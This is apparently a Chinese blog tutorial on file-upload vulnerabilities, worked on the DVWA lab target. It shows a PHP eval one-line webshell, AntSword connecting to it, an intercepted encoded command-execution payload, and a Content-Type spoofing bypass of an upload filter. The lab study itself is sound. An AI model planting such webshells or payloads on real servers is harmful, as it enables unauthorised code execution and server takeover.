web安全學習筆記(五) 文件上傳漏洞

0.前言

我們在訪問一些網站時,比如學校網站等,會要求進行一些文件的上傳操作,比如學校要求上傳個人資料的時候,需要對圖片進行上傳。這些需要上傳圖片的地方,往往存在着文件上傳漏洞。

1.一句話木馬

之前的文章講了如何搭建靶機,現在來看一下owasp的靶機。輸入靶機的ip地址:
在這裏插入圖片描述
選擇Damn Vulnerable Web Application, 在左側的菜單欄選擇upload。
在這裏插入圖片描述
這就是一個類似網站的上傳文件的接口,點擊choose file,選中文件後點擊upload即可上傳文件。在靶機處於低安全級別下,點擊右下角查看PHP代碼:

File Upload Source
<?php
    if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename( $_FILES['uploaded']['name']);

            if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                
                echo '<pre>';
                echo 'Your image was not uploaded.';
                echo '</pre>';
                
              } else {
            
                echo '<pre>';
                echo $target_path . ' succesfully uploaded!';
                echo '</pre>';
                
            }

        }
?>

我們可以看到,雖然網站的功能要求是上傳一張圖片,但是對文件的類型和格式沒有做出任何限制。我們新建一個PHP文件,裏面寫:

<?php @eval($_POST['keyword']); ?>

這行代碼中,eval函數代表執行指令,比如eval(1+1),結果就爲2。加@的意思是,即使程序執行錯誤,也不報錯,一般是用來防止管理員發現的。這行代碼的作爲即爲,接受post的keyword的參數,並且執行。這就是PHP的一句話木馬。
選中這個文件,並上傳。
在這裏插入圖片描述
由於服務器對上傳沒有任何類型和大小的限制,shell.php上傳成功。

2.AntSword

AntSword,中文名是中國蟻劍,是一款開源的網站管理工具。
github地址源代碼地址
加載器地址
使用時,可以直接下載AntSword加載器,爲了防止軟件被惡意篡改,請下載完成後覈對MD5驗證:
在這裏插入圖片描述
打開後,選擇工作目錄,會自動下載源代碼,源代碼下載成功後,即可運行。
當然也有可能遇到和我同樣的問題,提示代碼解壓失敗,可以選則手動克隆源代碼,在工作目錄下:

$ git clone https://github.com/AntSwordProject/AntSword.git

程序初始化完成後會重新啓動,界面如下:
在這裏插入圖片描述
找到界面後,需要查詢到剛纔上傳到服務器界面的路徑
在這裏插入圖片描述
根據提示可以找到文件
在這裏插入圖片描述
在AntSword中右鍵空白處,點擊添加數據,輸入文件的路徑以及密碼,密碼即爲代碼中寫的keyword,連接類型選擇PHP。
在這裏插入圖片描述
添加完成後,數據管理欄會顯示添加的webshell:
在這裏插入圖片描述
雙擊連接:
在這裏插入圖片描述
可以看到服務器的目錄結構已經顯示出來,對有權限的目錄也可以完成添加,查看,修改或是刪除。
右鍵彈出菜單,除了文件管理外,也有許多其他功能,例如虛擬終端,數據庫管理等:
在這裏插入圖片描述
在虛擬終端輸入指令:
在這裏插入圖片描述
爲了分析AntSword 是如何通過一句話木馬實現對服務器的這些操作的,我們對AntSword設置代理。打開burp,並在AntSword設置代理爲127.0.0.1:8080。
在這裏插入圖片描述
設置完成後,可以看到burp抓到了一個包,是POST指令
在這裏插入圖片描述
報文如下:

POST /dvwa/hackable/uploads/shell.php HTTP/1.1
Host: 192.168.85.129:80
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 4046
Connection: close

keyword=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%2213ceb85487%22%3Becho%20%40asenc(%24output)%3Becho%20%229249381a%22%3B%7Dob_start()%3Btry%7B%24p%3Dbase64_decode(%24_POST%5B%22o9f6a69c736cdd%22%5D)%3B%24s%3Dbase64_dec
ode(%24_POST%5B%22wed031e11f2964%22%5D)%3B%24envstr%3D%40base64_decode(%24_POST%5B%22r5243c350670d5%22%5D)%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24c%3Dsubstr(%24d%2C0%2C1)%3D%3D%22%2F%22%3F%22-c%20%5C%22%7B%24s%7D%5C%22%22%3A%22%2Fc%20%5C%22%7B%24s%7D%5C%22%22%3Bif(sub
str(%24d%2C0%2C1)%3D%3D%22%2F%22)%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3A%2Fusr%2Flocal%2Fsbin%3A%2Fusr%2Flocal%2Fbin%3A%2Fusr%2Fsbin%3A%2Fusr%2Fbin%3A%2Fsbin%3A%2Fbin%22)%3B%7Delse%7B%40putenv(%22PATH%3D%22.getenv(%
22PATH%22).%22%3BC%3A%2FWindows%2Fsystem32%3BC%3A%2FWindows%2FSysWOW64%3BC%3A%2FWindows%3BC%3A%2FWindows%2FSystem32%2FWindowsPowerShell%2Fv1.0%2F%3B%22)
%3B%7Dif(!empty(%24envstr))%7B%24envarr%3Dexplode(%22%7C%7C%7Casline%7C%7C%7C%22%2C%20%24envstr)%3Bforeach(%24envarr%20as%20%24v)%20%7Bif%20(!empty(%24v))%20%7B%40putenv(str_replace(%22%7C%7C%7Caskey%7C%7C%7C%22%2C%20%22%3D%22%2
C%20%24v))%3B%7D%7D%7D%24r%3D%22%7B%24p%7D%20%7B%24c%7D%22%3Bfunction%20fe(%24f)%7B%24d%3Dexplode(%22%2C%22%2C%40ini_get(%22disable_functions%22))%3Bif(empty(%24d))%7B%24d%3Darray()%3B%7Delse%7B%24d%3Darray_map('trim'%2Carray_map('strtolower'%2C%24d))%3B%7Dreturn(function_exists(%24f)%26%26is_callable(%
24f)%26%26!in_array(%24f%2C%24d))%3B%7D%3Bfunction%20runshellshock(%24d%2C%20%24c)%20%7Bif%20(substr(%24d%2C%200%2C%201)%20%3D%3D%20%22%2F%22%20%26%26%20fe('putenv')%20%26%26%20(fe('error_log')%20%7C%7C%20fe('mail')))%20%7Bif%20(strstr(readlink(%22%2Fbin%2Fsh%22)%2C%20%22bash%22)%20!%3D%20FALSE)%20%7B%24tmp%20%3D%20tempnam(sys_get_temp_dir()%2C%20'as')%3Bputenv(%22PHP_LOL%3D()%20%7B%20x%3B%20%7D%3B%20%24c%20%3E%24tmp%202%3E%261%22)%3Bif%20(fe('error_log'))%20%7Berror_log(%22a%22%2C%201)%3B%7D%20else%20%7Bmail(%22a%40127.0.0.1%
22%2C%20%22%22%2C%20%22%22%2C%20%22-
bv%22)%3B%7D%7D%20else%20%7Breturn%20False%3B%7D%24output%20%3D%20%40file_get_contents(%24tmp)%3B%40unlink(%24tmp)%3Bif%20(%24output%20!%3D%20%22%22)%20%7Bprint(%24output)%3Breturn%20True%3B%7D%7Dreturn%20False%3B%7D%3Bfunction%20runcmd(%24c)%7B%24ret%3D0%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(fe('system'))%7B%40system(%24c%2C%24ret)%3B%7Delseif(fe('passthru'))%7B%40passthru(%24c%2C%24ret)%3B%7Delseif(fe('shell_exec'))%7Bprint(%40
shell_exec(%24c))%3B%7Delseif(fe('exec'))%7B%40exec(%24c%2C%24o%2C%24ret)%3Bprint(join(%22%0A%22%2C%24o))%3B%7Delseif(fe('popen'))%7B%24fp%3D%40popen(%24c%2C'r')%3Bwhile(!%40feof(%24fp))%7Bprint(%40fgets(%24fp%2C2048))%3B%7D%40pclose(%24fp)%3B%7Delseif(fe('proc_open'))%7B%24p%20%3D%20%40proc_open(%24c%2C%20array(1%20%3D%3E%20array('pipe'%2C%20'w')%2C%202%20%3D%3E%20array('pipe'%2C%20'w'))%2C%20%24io)%3Bwhile(!%40feof(%24io%5B1%5D))%7Bprint(%40fgets(%24io%5B1%5D%2C2048))%3B%7Dwhile(!%40feof(%24io%5B2%5D))%7Bprint(%40fgets(%24io%5B2%5D%2C2048))%3B%7D%40fclose(%24io%5B1%5D)%3B%40fclose(%24io%5B2%5D)%3B%40proc_close(%24p)%3B%7Delseif(fe('antsystem'))%7B%40antsystem(%24c)%3B%7Delseif(runshellshock(%24d%2C%20%24c))%20%7Breturn%20%24ret%3B%7Delseif(substr(%24d%2C0%2C1)!%3D%22%2F%22%20%26%26%20%40class_exists(%22COM%22))%7B%24w%3Dne
w%20COM('WScript.shell')%3B%24e%3D%24w-%3Eexec(%24c)%3B%24so%3D%24e-%3EStdOut()%3B%24ret.%3D%24so-%3EReadAll()%3B%24se%3D%24e-%3EStdErr()%3B%24ret.%3D%24se-%3EReadAll()%3Bprint(%24ret)%3B%7Delse%7B%24ret%20%3D%20127%3B%7Dreturn%20%24ret%3B%7D%3B%24ret%3D%40runcmd(%24r.%22%202%3E%261%22)%3Bprint%20(%24ret!%3D0)%3F%22ret%3D%7B%24ret%7D%22%3A%22%22%3B%3B%7Dcatch(Exception%20%24e)%7Bec
ho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&o9f6a69c736cdd=L2Jpbi9zaA%3D%3
D&r5243c350670d5=&wed031e11f2964=Y2QgIi92YXIvd3d3L2R2d2EvaGFja2FibGUvdXBsb2FkcyI7bHM7ZWNobyBbU107cHdkO2VjaG8gW0Vd

我們發現,AntSword向服務器通過POST傳送了一個keyword的參數,這個參數就是一段代碼,使用burp的decode對編碼進行解密。
在這裏插入圖片描述
可以看到是一段PHP代碼,傳送過去以後,代碼就會自動被eval函數執行,從而實現很多操作。

3.突破文件類型過濾

回到靶機中,把/var/www/dvwa/hachable/uploads文件夾下的shell.php刪除
在這裏插入圖片描述
然後返回瀏覽器,在DVWA Security界面中,將安全級別設置爲中等,此時再查看網頁源碼:

<?php
    if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename($_FILES['uploaded']['name']);
            $uploaded_name = $_FILES['uploaded']['name'];
            $uploaded_type = $_FILES['uploaded']['type'];
            $uploaded_size = $_FILES['uploaded']['size'];

            if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){


                if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                
                    echo '<pre>';
                    echo 'Your image was not uploaded.';
                    echo '</pre>';
                    
                  } else {
                
                    echo '<pre>';
                    echo $target_path . ' succesfully uploaded!';
                    echo '</pre>';
                    
                    }
            }
            else{
                echo '<pre>Your image was not uploaded.</pre>';
            }
        }
?>

發現此時已經對文件的格式和大小做出了限制:

($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)

此時再上傳文件,發現已經不能成功上傳了。這是爲什麼呢?我們對瀏覽器設置代理,用burp抓包分析:
在這裏插入圖片描述
可以看到,我們上傳的PHP文件的類型是application/octet.stream,然而服務器對文件類型的要求則爲image/jpeg,我們只要將數據包攔截,並且用burp修改ContentType字段,就可以實現上傳成功了!
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章